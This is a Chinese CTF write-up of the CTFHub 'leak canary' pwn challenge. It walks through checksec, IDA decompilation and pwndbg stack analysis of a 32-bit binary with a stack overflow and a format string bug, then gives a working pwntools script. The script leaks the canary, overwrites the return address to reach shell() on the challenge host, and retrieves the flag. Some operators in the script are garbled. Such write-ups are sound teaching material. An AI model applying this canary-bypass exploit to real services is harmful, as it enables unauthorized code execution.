【CTFHub】leak canary

2023-10-16 15:10:39 浏览数 (2)

leak canary

file ./pwn查看文件类型再checksec --file=./pwn检查文件保护情况。

代码语言:javascript复制
┌──(tyd㉿kali-linux)-[~/ctf/pwn/ctfhub/leak canary]
└─$ file ./pwn
./pwn: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=4ee12047b4e43af214307fb515bc2ee20ed317aa, not stripped
                                                                                                      
┌──(tyd㉿kali-linux)-[~/ctf/pwn/ctfhub/leak canary]
└─$ checksec --file=./pwn
[*] '/home/tyd/ctf/pwn/ctfhub/leak canary/pwn'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)

IDA Pro 32bit打开附件pwn,按F5反汇编源码并查看主函数。

代码语言:javascript复制
int __cdecl main(int argc, const char **argv, const char **envp)
{
  init(&argc);
  puts("Welcome to CTFHub leak canary.Input someting:");
  vuln();
  return 0;
}

双击vuln()函数查看详情,read()函数读取输入到变量buf中,char型变量buf的长度只有100字节,而read()函数限制输入0x200个字节,显然存在栈溢出漏洞。此外,buf变量的地址被printf()函数输出啦,存在格式化字符串漏洞。

代码语言:javascript复制
unsigned int vuln()
{
  int i; // [esp 4h] [ebp-74h]
  char buf[100]; // [esp 8h] [ebp-70h] BYREF
  unsigned int v3; // [esp 6Ch] [ebp-Ch]

  v3 = __readgsdword(0x14u);
  for ( i = 0; i <= 1;   i )
  {
    read(0, buf, 0x200u);
    printf(buf);
  }
  return __readgsdword(0x14u) ^ v3;
}

此外我们还发现了shell()函数直接调用system("/bin/sh")

代码语言:javascript复制
int shell()
{
  return system("/bin/sh");
}

程序的逻辑很简单,进行两次输入输出。第一次输入时,我们可以利用格式化字符串漏洞拿到canary的值,第二次输入时,我们可以利用栈溢出漏洞,填充足够的padding并保证canary的值不被覆盖,最后劫持程序执行shell()。用pwndbg来进一步分析程序。

代码语言:javascript复制
┌──(tyd㉿kali-linux)-[~/ctf/pwn/ctfhub/leak canary]
└─$ gdb ./pwn
pwndbg> disass main
Dump of assembler code for function main:
   0x08048697 < 0>:     lea    ecx,[esp 0x4]
   0x0804869b < 4>:     and    esp,0xfffffff0
   0x0804869e < 7>:     push   DWORD PTR [ecx-0x4]
   0x080486a1 < 10>:    push   ebp
   0x080486a2 < 11>:    mov    ebp,esp
   0x080486a4 < 13>:    push   ebx
   0x080486a5 < 14>:    push   ecx
   0x080486a6 < 15>:    call   0x80484e0 <__x86.get_pc_thunk.bx>
   0x080486ab < 20>:    add    ebx,0x1955
   0x080486b1 < 26>:    call   0x80485d1 <init>
   0x080486b6 < 31>:    sub    esp,0xc
   0x080486b9 < 34>:    lea    eax,[ebx-0x1878]
   0x080486bf < 40>:    push   eax
   0x080486c0 < 41>:    call   0x8048450 <puts@plt>
   0x080486c5 < 46>:    add    esp,0x10
   0x080486c8 < 49>:    call   0x804862b <vuln>
   0x080486cd < 54>:    mov    eax,0x0
   0x080486d2 < 59>:    lea    esp,[ebp-0x8]
   0x080486d5 < 62>:    pop    ecx
   0x080486d6 < 63>:    pop    ebx
   0x080486d7 < 64>:    pop    ebp
   0x080486d8 < 65>:    lea    esp,[ecx-0x4]
   0x080486db < 68>:    ret    
End of assembler dump.
pwndbg> disassemble vuln
Dump of assembler code for function vuln:
   0x0804862b < 0>:     push   ebp
   0x0804862c < 1>:     mov    ebp,esp
   0x0804862e < 3>:     push   ebx
   0x0804862f < 4>:     sub    esp,0x74
   0x08048632 < 7>:     call   0x80484e0 <__x86.get_pc_thunk.bx>
   0x08048637 < 12>:    add    ebx,0x19c9
   0x0804863d < 18>:    mov    eax,gs:0x14
   0x08048643 < 24>:    mov    DWORD PTR [ebp-0xc],eax
   0x08048646 < 27>:    xor    eax,eax
   0x08048648 < 29>:    mov    DWORD PTR [ebp-0x74],0x0
   0x0804864f < 36>:    jmp    0x804867a <vuln 79>
   0x08048651 < 38>:    sub    esp,0x4
   0x08048654 < 41>:    push   0x200
   0x08048659 < 46>:    lea    eax,[ebp-0x70]
   0x0804865c < 49>:    push   eax
   0x0804865d < 50>:    push   0x0
   0x0804865f < 52>:    call   0x8048420 <read@plt>
   0x08048664 < 57>:    add    esp,0x10
   0x08048667 < 60>:    sub    esp,0xc
   0x0804866a < 63>:    lea    eax,[ebp-0x70]
   0x0804866d < 66>:    push   eax
   0x0804866e < 67>:    call   0x8048430 <printf@plt>
   0x08048673 < 72>:    add    esp,0x10
   0x08048676 < 75>:    add    DWORD PTR [ebp-0x74],0x1
   0x0804867a < 79>:    cmp    DWORD PTR [ebp-0x74],0x1
   0x0804867e < 83>:    jle    0x8048651 <vuln 38>
   0x08048680 < 85>:    nop
   0x08048681 < 86>:    mov    eax,DWORD PTR [ebp-0xc]
   0x08048684 < 89>:    xor    eax,DWORD PTR gs:0x14
   0x0804868b < 96>:    je     0x8048692 <vuln 103>
   0x0804868d < 98>:    call   0x8048750 <__stack_chk_fail_local>
   0x08048692 < 103>:   mov    ebx,DWORD PTR [ebp-0x4]
   0x08048695 < 106>:   leave  
   0x08048696 < 107>:   ret    
End of assembler dump.
pwndbg> b *vuln 52
Breakpoint 1 at 0x804865f
pwndbg> run
Starting program: /home/tyd/ctf/pwn/ctfhub/leak canary/pwn 
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
Welcome to CTFHub leak canary.Input someting:

Breakpoint 1, 0x0804865f in vuln ()
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
────────────────────────────────────────────[ REGISTERS ]─────────────────────────────────────────────
 EAX  0xffffcf38 ◂— 0x1
 EBX  0x804a000 (_GLOBAL_OFFSET_TABLE_) —▸ 0x8049f08 (_DYNAMIC) ◂— 0x1
 ECX  0xf7e1e9b8 (_IO_stdfile_1_lock) ◂— 0x0
 EDX  0x1
 EDI  0xf7ffcb80 (_rtld_global_ro) ◂— 0x0
 ESI  0x80486e0 (__libc_csu_init) ◂— push   ebp
 EBP  0xffffcfa8 —▸ 0xffffcfb8 ◂— 0x0
 ESP  0xffffcf20 ◂— 0x0
 EIP  0x804865f (vuln 52) —▸ 0xfffdbce8 ◂— 0xfffdbce8
──────────────────────────────────────────────[ DISASM ]──────────────────────────────────────────────
 ► 0x804865f <vuln 52>    call   read@plt                     <read@plt>
        fd: 0x0 (/dev/pts/8)
        buf: 0xffffcf38 ◂— 0x1
        nbytes: 0x200
 
   0x8048664 <vuln 57>    add    esp, 0x10
   0x8048667 <vuln 60>    sub    esp, 0xc
   0x804866a <vuln 63>    lea    eax, [ebp - 0x70]
   0x804866d <vuln 66>    push   eax
   0x804866e <vuln 67>    call   printf@plt                     <printf@plt>
 
   0x8048673 <vuln 72>    add    esp, 0x10
   0x8048676 <vuln 75>    add    dword ptr [ebp - 0x74], 1
   0x804867a <vuln 79>    cmp    dword ptr [ebp - 0x74], 1
   0x804867e <vuln 83>    jle    vuln 38                     <vuln 38>
 
   0x8048680 <vuln 85>    nop    
──────────────────────────────────────────────[ STACK ]───────────────────────────────────────────────
00:0000│ esp 0xffffcf20 ◂— 0x0
01:0004│     0xffffcf24 —▸ 0xffffcf38 ◂— 0x1
02:0008│     0xffffcf28 ◂— 0x200
03:000c│     0xffffcf2c —▸ 0x8048637 (vuln 12) ◂— add    ebx, 0x19c9
04:0010│     0xffffcf30 —▸ 0xf7e1dda0 (_IO_2_1_stdout_) ◂— 0xfbad2887
05:0014│     0xffffcf34 ◂— 0x0
06:0018│ eax 0xffffcf38 ◂— 0x1
07:001c│     0xffffcf3c —▸ 0x804829c ◂— add    byte ptr [ecx   ebp*2   0x62], ch
────────────────────────────────────────────[ BACKTRACE ]─────────────────────────────────────────────
 ► f 0 0x804865f vuln 52
   f 1 0x80486cd main 54
   f 2 0xf7c23295 __libc_start_call_main 117
   f 3 0xf7c23358 __libc_start_main 136
   f 4 0x80484c2 _start 50
──────────────────────────────────────────────────────────────────────────────────────────────────────
pwndbg> n
AAAA
0x08048664 in vuln ()
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
────────────────────────────────────────────[ REGISTERS ]─────────────────────────────────────────────
*EAX  0x5
 EBX  0x804a000 (_GLOBAL_OFFSET_TABLE_) —▸ 0x8049f08 (_DYNAMIC) ◂— 0x1
*ECX  0xffffcf38 ◂— 0x41414141 ('AAAA')
*EDX  0x200
 EDI  0xf7ffcb80 (_rtld_global_ro) ◂— 0x0
 ESI  0x80486e0 (__libc_csu_init) ◂— push   ebp
 EBP  0xffffcfa8 —▸ 0xffffcfb8 ◂— 0x0
 ESP  0xffffcf20 ◂— 0x0
*EIP  0x8048664 (vuln 57) ◂— add    esp, 0x10
──────────────────────────────────────────────[ DISASM ]──────────────────────────────────────────────
   0x804865f <vuln 52>    call   read@plt                     <read@plt>
 
 ► 0x8048664 <vuln 57>    add    esp, 0x10
   0x8048667 <vuln 60>    sub    esp, 0xc
   0x804866a <vuln 63>    lea    eax, [ebp - 0x70]
   0x804866d <vuln 66>    push   eax
   0x804866e <vuln 67>    call   printf@plt                     <printf@plt>
 
   0x8048673 <vuln 72>    add    esp, 0x10
   0x8048676 <vuln 75>    add    dword ptr [ebp - 0x74], 1
   0x804867a <vuln 79>    cmp    dword ptr [ebp - 0x74], 1
   0x804867e <vuln 83>    jle    vuln 38                     <vuln 38>
 
   0x8048680 <vuln 85>    nop    
──────────────────────────────────────────────[ STACK ]───────────────────────────────────────────────
00:0000│ esp 0xffffcf20 ◂— 0x0
01:0004│     0xffffcf24 —▸ 0xffffcf38 ◂— 0x41414141 ('AAAA')
02:0008│     0xffffcf28 ◂— 0x200
03:000c│     0xffffcf2c —▸ 0x8048637 (vuln 12) ◂— add    ebx, 0x19c9
04:0010│     0xffffcf30 —▸ 0xf7e1dda0 (_IO_2_1_stdout_) ◂— 0xfbad2887
05:0014│     0xffffcf34 ◂— 0x0
06:0018│ ecx 0xffffcf38 ◂— 0x41414141 ('AAAA')
07:001c│     0xffffcf3c —▸ 0x804820a ◂— add    byte ptr [eax], al
────────────────────────────────────────────[ BACKTRACE ]─────────────────────────────────────────────
 ► f 0 0x8048664 vuln 57
   f 1 0x80486cd main 54
   f 2 0xf7c23295 __libc_start_call_main 117
   f 3 0xf7c23358 __libc_start_main 136
   f 4 0x80484c2 _start 50
──────────────────────────────────────────────────────────────────────────────────────────────────────
pwndbg> stack 0x25
00:0000│ esp 0xffffcf20 ◂— 0x0
01:0004│     0xffffcf24 —▸ 0xffffcf38 ◂— 0x41414141 ('AAAA')  # 输入的起始地址
02:0008│     0xffffcf28 ◂— 0x200
03:000c│     0xffffcf2c —▸ 0x8048637 (vuln 12) ◂— add    ebx, 0x19c9
04:0010│     0xffffcf30 —▸ 0xf7e1dda0 (_IO_2_1_stdout_) ◂— 0xfbad2887
05:0014│     0xffffcf34 ◂— 0x0
06:0018│ ecx 0xffffcf38 ◂— 0x41414141 ('AAAA')
07:001c│     0xffffcf3c —▸ 0x804820a ◂— add    byte ptr [eax], al
08:0020│     0xffffcf40 —▸ 0x804a00c (setbuf@got[plt]) —▸ 0xf7c7b7b0 (setbuf) ◂— sub    esp, 0x10
09:0024│     0xffffcf44 ◂— 0x20 /* ' ' */
0a:0028│     0xffffcf48 —▸ 0xf7c80af9 (__overflow 9) ◂— add    ebx, 0x19c4fb
0b:002c│     0xffffcf4c —▸ 0xf7e1ba40 (_IO_file_jumps) ◂— 0x0
0c:0030│     0xffffcf50 —▸ 0xf7e1dda0 (_IO_2_1_stdout_) ◂— 0xfbad2887
0d:0034│     0xffffcf54 —▸ 0xf7e1cff4 (_GLOBAL_OFFSET_TABLE_) ◂— 0x21cd8c
0e:0038│     0xffffcf58 —▸ 0xffffcf98 —▸ 0xffffcfb8 ◂— 0x0
0f:003c│     0xffffcf5c —▸ 0xf7c74f3b (puts 395) ◂— add    esp, 0x10
10:0040│     0xffffcf60 —▸ 0xf7e1dda0 (_IO_2_1_stdout_) ◂— 0xfbad2887
11:0044│     0xffffcf64 ◂— 0xa /* 'n' */
12:0048│     0xffffcf68 ◂— 0x2d /* '-' */
13:004c│     0xffffcf6c —▸ 0xf7c7b7c5 (setbuf 21) ◂— add    esp, 0x1c
14:0050│     0xffffcf70 —▸ 0xf7e1dd00 (_IO_2_1_stderr_) ◂— 0xfbad2087
15:0054│     0xffffcf74 ◂— 0x7d4
16:0058│     0xffffcf78 —▸ 0xf7e1de3c (stdout) —▸ 0xf7e1dda0 (_IO_2_1_stdout_) ◂— 0xfbad2887
17:005c│     0xffffcf7c ◂— 0x2d /* '-' */
18:0060│     0xffffcf80 —▸ 0xffffcfb8 ◂— 0x0
19:0064│     0xffffcf84 —▸ 0xf7fdb8d0 (_dl_runtime_resolve 16) ◂— pop    edx
1a:0068│     0xffffcf88 —▸ 0xf7e1e9ac (_IO_stdfile_2_lock) ◂— 0x0
1b:006c│     0xffffcf8c —▸ 0x804a000 (_GLOBAL_OFFSET_TABLE_) —▸ 0x8049f08 (_DYNAMIC) ◂— 0x1
1c:0070│     0xffffcf90 —▸ 0x80486e0 (__libc_csu_init) ◂— push   ebp
1d:0074│     0xffffcf94 —▸ 0xf7ffcb80 (_rtld_global_ro) ◂— 0x0
1e:0078│     0xffffcf98 —▸ 0xffffcfb8 ◂— 0x0
1f:007c│     0xffffcf9c ◂— 0xe33c6800    # canary在这 $ebp-0xc
20:0080│     0xffffcfa0 —▸ 0x8048788 ◂— push   edi /* 'Welcome to CTFHub leak canary.Input someting:' */
21:0084│     0xffffcfa4 —▸ 0x804a000 (_GLOBAL_OFFSET_TABLE_) —▸ 0x8049f08 (_DYNAMIC) ◂— 0x1
22:0088│ ebp 0xffffcfa8 —▸ 0xffffcfb8 ◂— 0x0
23:008c│     0xffffcfac —▸ 0x80486cd (main 54) ◂— mov    eax, 0
24:0090│     0xffffcfb0 —▸ 0xffffcfd0 ◂— 0x1
pwndbg> x/1x $ebp-0xc
0xffffcf9c:     0xe33c6800
pwndbg> x/32x $esp
0xffffcf20:     0x00000000      0xffffcf38      0x00000200      0x08048637
0xffffcf30:     0xf7e1dda0      0x00000000      0x41414141      0x0804820a
0xffffcf40:     0x0804a00c      0x00000020      0xf7c80af9      0xf7e1ba40
0xffffcf50:     0xf7e1dda0      0xf7e1cff4      0xffffcf98      0xf7c74f3b
0xffffcf60:     0xf7e1dda0      0x0000000a      0x0000002d      0xf7c7b7c5
0xffffcf70:     0xf7e1dd00      0x000007d4      0xf7e1de3c      0x0000002d
0xffffcf80:     0xffffcfb8      0xf7fdb8d0      0xf7e1e9ac      0x0804a000
0xffffcf90:     0x080486e0      0xf7ffcb80      0xffffcfb8      0xe33c6800  # 从0开始数,canary是第31个 

canary到栈顶esp的偏移量是0x1f即31,因此我们可以用1x来以16进制格式输出无0x开头的字符串,拿到canary后将其转换为int型数值,接着利用栈溢出漏洞。

构造payload时,先用cyclic()填充100个字节的paddingpwndbg中可以算出0xffffcf9c-0xffffcf38=100IDA Pro查看栈结构覆盖到canary正好是0x70-0xc=100),写入读取到的canary数值,并继续填充0xcpadding覆盖到栈帧$ebp,接着写入我们想要跳转的shell()函数所在地址。编写Python代码求解,拿到shell后输入cat flag得到ctfhub{ffa27275c0ee969520de8e2b}

代码语言:javascript复制
from pwn import *

io = remote('challenge-00924c33bef2cbdc.sandbox.ctfhub.com', 34949)
io.recvline()
io.sendline(b'1$x')
canary = int(io.recv(8), 16)
log.success('canary => %#x', canary)
elf = ELF('./pwn')
shell_addr = elf.symbols['shell']  # 0x80485a6
payload = cyclic(0x70-0xc)   p32(canary)   cyclic(0xc)   p32(shell_addr)
io.sendline(payload)
io.interactive()

0 人点赞